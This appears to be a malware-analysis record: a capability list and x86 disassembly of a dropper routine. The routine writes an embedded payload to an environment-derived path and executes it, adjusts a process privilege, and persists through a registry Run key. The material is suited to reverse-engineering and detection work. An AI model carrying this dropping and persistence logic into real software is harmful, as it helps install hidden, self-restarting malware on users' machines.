Function at 0x405120
Capabilities:
Create process on windows
Create process suspended
Persist via run registry key
Query environment variable
Set registry value
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x518
push ebx
push esi
push edi
mov dword [ebp - 0x14], ecx
lea edi, [ebp - 0x114]
mov ecx, 0x1f
mov esi, 0x404bb8
rep movsd dword es:[edi], dword [esi]
mov ebx, edx
movsw word es:[edi], word [esi]
mov esi, dword [ebp - 0x14]
mov edi, dword [sym.imp.ntdll.dll_NtClose]
add esi, 0xffffffe8
add esi, ebx
mov dword [ebp - 0xc], esi
cmp dword [esi], 0xa535443
jne 0x40532c
mov edx, dword [esi + 4]
lea eax, [esi + 8]
mov ecx, esi
sub ecx, edx
push eax
mov dword [ebp - 8], ecx
call fcn.00404f80
xor esi, esi
lea edi, [esi + 0x3e]
lea ebx, [ebx]
call fcn.00404f60
xor edx, edx
div edi
mov ax, word [ebp + edx*2 - 0x114]
mov word [ebp + esi*2 - 0x4c], ax
inc esi
cmp esi, 0xf
jb 0x405180
xor eax, eax
mov word [ebp + esi*2 - 0x4c], ax
lea eax, [ebp - 0x514]
push 0x200
push eax
push 0x404c38
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea edx, [ebp - 0x4c]
mov esi, edx
nop
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x4051c0
lea edi, [ebp - 0x514]
sub edx, esi
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4051d6
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x514]
add ecx, 0xfffffffe
lea esp, [esp]
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x405200
mov eax, dword [0x404c48]
push 0
push 0
mov dword [ecx], eax
mov eax, dword [0x404c4c]
push 2
mov dword [ecx + 4], eax
mov ax, word [0x404c50]
push 0
push 0
mov word [ecx + 8], ax
lea eax, [ebp - 0x514]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x405331
push 0
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0xc]
push dword [eax + 4]
push dword [ebp - 8]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
mov edi, dword [sym.imp.ntdll.dll_NtClose]
mov esi, eax
call edi
test esi, esi
je 0x405337
push 0x44
lea eax, [ebp - 0x94]
push 0
push eax
call fcn.0040a210
xorps xmm0, xmm0
lea edi, [ebp - 0x514]
add esp, 0xc
add edi, 0xfffffffe
movdqu xmmword [ebp - 0x2c], xmm0
lea esp, [esp]
mov ax, word [edi + 2]
lea edi, [edi + 2]
test ax, ax
jne 0x4052a0
mov eax, dword [0x404c54]
mov edx, dword [ebp + 8]
mov esi, edx
mov dword [edi], eax
jmp 0x4052c0
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x4052c0
lea edi, [ebp - 0x514]
sub edx, esi
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4052d6
mov ecx, edx
lea eax, [ebp - 0x2c]
shr ecx, 2
push eax
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x94]
mov ecx, edx
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x514]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edi, dword [sym.imp.ntdll.dll_NtClose]
test eax, eax
je 0x405337
push dword [ebp - 0x28]
call edi
push dword [ebp - 0x2c]
call edi
jmp 0x405337
mov ecx, dword [ebp + 8]
jmp 0x40533d
mov edi, dword [sym.imp.ntdll.dll_NtClose]
mov ecx, dword [ebp - 8]
mov esi, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
mov dword [0x411f48], eax
mov eax, dword [esi]
cmp eax, 0xa535443
jne 0x405354
sub ebx, dword [esi + 4]
sub ebx, 0x18
push dword [esi + 4]
mov dword [0x411f54], ebx
xor ebx, ebx
cmp eax, 0xa535443
push 0
push ecx
sete bl
call fcn.0040a210
add esp, 0xc
lea eax, [ebp - 0xd]
xorps xmm0, xmm0
movdqu xmmword [esi], xmm0
push eax
push 0
push 1
push 0x14
movq qword [esi + 0x10], xmm0
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
test eax, eax
mov edx, 0x404c7c
push 0x200
setns cl
lea eax, [ebp - 0x514]
push eax
test cl, cl
mov byte [ebp + 0xb], cl
mov eax, 0x404c58
cmove eax, edx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4053f7
push 0
lea eax, [ebp - 0x1c]
push eax
push dword [0x411f54]
push dword [0x411f48]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call edi
lea eax, [ebp - 0x18]
push eax
xor eax, eax
cmp byte [ebp + 0xb], al
push 0x404ca0
setne al
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x40545a
lea ecx, [ebp - 0x514]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x405421
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
lea eax, [ebp - 0x514]
push eax
push 1
push 0
push 0x404cfc
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
je 0x4054a7
push 0x44
lea eax, [ebp - 0x94]
push 0
push eax
call fcn.0040a210
add esp, 0xc
lea eax, [ebp - 0x2c]
xorps xmm0, xmm0
movdqu xmmword [ebp - 0x2c], xmm0
push eax
lea eax, [ebp - 0x94]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [0x411f48]
mov edx, dword [0x411f54]
call fcn.00404e40
pop edi
pop esi
mov dword [0x411f58], eax
pop ebx
mov esp, ebp
pop ebp
ret 4